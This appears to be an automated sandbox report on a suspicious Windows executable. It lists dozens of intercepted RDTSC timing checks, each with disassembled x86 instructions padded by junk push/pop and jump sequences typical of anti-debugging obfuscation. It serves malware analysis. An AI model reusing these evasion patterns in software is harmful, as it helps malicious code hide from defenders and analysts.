Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50ADA second address: 4F50B5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3230h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FEB853E3230h 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007FEB853E3231h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 movzx ecx, di 0x0000001c popad 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f jmp 00007FEB853E322Fh 0x00000024 mov esi, dword ptr [ebp+0Ch] 0x00000027 jmp 00007FEB853E3236h 0x0000002c test esi, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FEB853E3237h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50B5E second address: 4F50BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dh 0x00000005 mov esi, 7FC0C6D7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007FEBF6A54542h 0x00000013 pushad 0x00000014 mov cx, bx 0x00000017 popad 0x00000018 cmp dword ptr [76C8459Ch], 05h 0x0000001f pushad 0x00000020 mov edx, 096A4792h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushfd 0x00000028 jmp 00007FEB84D86D09h 0x0000002d sbb si, 9A66h 0x00000032 jmp 00007FEB84D86D01h 0x00000037 popfd 0x00000038 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50BB6 second address: 4F50C16 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEB853E3230h 0x00000008 sbb si, 4A08h 0x0000000d jmp 00007FEB853E322Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 je 00007FEBF70C8AE0h 0x0000001c jmp 00007FEB853E3236h 0x00000021 xchg eax, esi 0x00000022 jmp 00007FEB853E3230h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c pop ebx 0x0000002d mov ecx, 2F38A14Fh 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50C16 second address: 4F50C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50C55 second address: 4F50CA5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEB853E3232h 0x00000008 add cl, FFFFFF88h 0x0000000b jmp 00007FEB853E322Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, esi 0x00000015 jmp 00007FEB853E3236h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FEB853E322Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50CA5 second address: 4F50CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 624ED1F second address: 624ED32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jnc 00007FEB853E3228h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625ADD5 second address: 625ADDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625ADDB second address: 625ADE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625ADE3 second address: 625ADEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FEB84D86CF6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625ADEF second address: 625ADF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625ADF3 second address: 625ADFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E207 second address: 60DD971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FEB853E3226h 0x00000009 jnp 00007FEB853E3226h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 6712F9BAh 0x00000019 pushad 0x0000001a add ecx, 00B09A44h 0x00000020 jnp 00007FEB853E3229h 0x00000026 popad 0x00000027 push dword ptr [ebp+122D0BB9h] 0x0000002d jmp 00007FEB853E3233h 0x00000032 call dword ptr [ebp+122D20ECh] 0x00000038 pushad 0x00000039 mov dword ptr [ebp+122D20B8h], edx 0x0000003f xor eax, eax 0x00000041 jmp 00007FEB853E322Fh 0x00000046 mov edx, dword ptr [esp+28h] 0x0000004a jmp 00007FEB853E3239h 0x0000004f mov dword ptr [ebp+122D3775h], eax 0x00000055 mov dword ptr [ebp+122D2130h], esi 0x0000005b mov dword ptr [ebp+122D20B8h], edi 0x00000061 mov esi, 0000003Ch 0x00000066 cld 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b xor dword ptr [ebp+122D20B8h], edi 0x00000071 lodsw 0x00000073 mov dword ptr [ebp+122D20E2h], ebx 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d or dword ptr [ebp+122D2EF7h], ebx 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 mov dword ptr [ebp+122D20B8h], edx 0x0000008d push eax 0x0000008e pushad 0x0000008f pushad 0x00000090 jbe 00007FEB853E3226h 0x00000096 push eax 0x00000097 push edx 0x00000098 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E416 second address: 625E41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E41F second address: 625E423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E423 second address: 625E4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 7D2E72D0h 0x0000000e mov si, di 0x00000011 push 00000003h 0x00000013 pushad 0x00000014 jl 00007FEB84D86CF9h 0x0000001a mov di, bx 0x0000001d movzx esi, cx 0x00000020 popad 0x00000021 mov cl, bl 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007FEB84D86CF8h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f mov cx, EAF0h 0x00000043 push 00000003h 0x00000045 push 00000000h 0x00000047 push ebx 0x00000048 call 00007FEB84D86CF8h 0x0000004d pop ebx 0x0000004e mov dword ptr [esp+04h], ebx 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc ebx 0x0000005b push ebx 0x0000005c ret 0x0000005d pop ebx 0x0000005e ret 0x0000005f mov esi, dword ptr [ebp+122D3699h] 0x00000065 push BB2F4A7Ch 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E4A4 second address: 625E4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E4A8 second address: 625E4AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E4AC second address: 625E4B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E4B2 second address: 625E4F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 04D0B584h 0x00000010 xor dword ptr [ebp+122D2F6Eh], esi 0x00000016 lea ebx, dword ptr [ebp+1245410Ah] 0x0000001c mov edi, dword ptr [ebp+122D37D5h] 0x00000022 mov ecx, dword ptr [ebp+122D36B1h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jl 00007FEB84D86CF8h 0x00000031 push esi 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E542 second address: 625E5A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007FEB853E322Ch 0x0000000b jg 00007FEB853E3226h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov dword ptr [ebp+122D20BDh], ebx 0x0000001b push 00000000h 0x0000001d mov cl, 21h 0x0000001f call 00007FEB853E3229h 0x00000024 jp 00007FEB853E322Eh 0x0000002a push eax 0x0000002b jmp 00007FEB853E3234h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 jmp 00007FEB853E3231h 0x00000039 mov eax, dword ptr [eax] 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E5A9 second address: 625E5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E5AD second address: 625E62D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3233h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FEB853E322Ch 0x0000000f jnp 00007FEB853E3226h 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jg 00007FEB853E3236h 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007FEB853E322Ch 0x00000028 popad 0x00000029 pop eax 0x0000002a mov edi, dword ptr [ebp+122D3809h] 0x00000030 jmp 00007FEB853E3234h 0x00000035 push 00000003h 0x00000037 mov si, BDE5h 0x0000003b push 00000000h 0x0000003d mov esi, dword ptr [ebp+122D3835h] 0x00000043 stc 0x00000044 push 00000003h 0x00000046 push edx 0x00000047 mov esi, dword ptr [ebp+122D36E5h] 0x0000004d pop ecx 0x0000004e call 00007FEB853E3229h 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E62D second address: 625E631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E631 second address: 625E65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007FEB853E3228h 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007FEB853E322Eh 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E65D second address: 625E663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E663 second address: 625E6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jns 00007FEB853E3239h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007FEB853E322Fh 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jnp 00007FEB853E3226h 0x00000024 jmp 00007FEB853E322Eh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E6A0 second address: 625E6A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 625E6A6 second address: 625E6DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E322Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jnl 00007FEB853E322Ch 0x00000012 add edx, dword ptr [ebp+122D36BDh] 0x00000018 lea ebx, dword ptr [ebp+12454115h] 0x0000001e mov ecx, esi 0x00000020 xchg eax, ebx 0x00000021 js 00007FEB853E3244h 0x00000027 push eax 0x00000028 push edx 0x00000029 jng 00007FEB853E3226h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627E3C2 second address: 627E3C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627E3C6 second address: 627E3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627E3D0 second address: 627E3D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62466F7 second address: 6246701 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEB853E3226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627C1E9 second address: 627C1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627C1EF second address: 627C1F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627C1F5 second address: 627C1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627C1FC second address: 627C201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627C35E second address: 627C362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627C615 second address: 627C61B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627C79A second address: 627C7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CC0B second address: 627CC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CC0F second address: 627CC2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D00h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007FEB84D86CF6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CC2F second address: 627CC62 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEB853E322Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jbe 00007FEB853E322Ch 0x00000015 js 00007FEB853E3226h 0x0000001b jno 00007FEB853E322Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 jnc 00007FEB853E3226h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CE02 second address: 627CE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CE06 second address: 627CE0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CE0B second address: 627CE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CE1A second address: 627CE20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CF55 second address: 627CF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627CF59 second address: 627CF63 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627D0CA second address: 627D0CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627D0CE second address: 627D0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEB853E3237h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627D0EB second address: 627D0FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB84D86CFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627D4CA second address: 627D4EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3237h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FEB853E323Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627DD3A second address: 627DD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86D04h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627DD53 second address: 627DD6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3237h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627DEF2 second address: 627DEF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627DEF6 second address: 627DEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627DEFC second address: 627DF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627DF02 second address: 627DF1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007FEB853E3226h 0x0000000b ja 00007FEB853E3226h 0x00000011 jg 00007FEB853E3226h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627DF1E second address: 627DF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEB84D86CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627E1F1 second address: 627E1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 627E1F7 second address: 627E1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6280DD1 second address: 6280DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007FEB853E3230h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6285260 second address: 6285265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6285265 second address: 628526A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6285368 second address: 6285376 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEB84D86CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6285376 second address: 628537A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62842D2 second address: 62842DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FEB84D86CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6289219 second address: 6289226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEB853E3226h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6289226 second address: 628922C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628922C second address: 6289230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6289393 second address: 62893CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86D09h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEB84D86D04h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62893CB second address: 62893DB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62893DB second address: 62893DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62896CC second address: 62896D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62896D2 second address: 62896D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6289954 second address: 628995D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628BF92 second address: 628BFBD instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEB84D86CF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FEB84D86D09h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
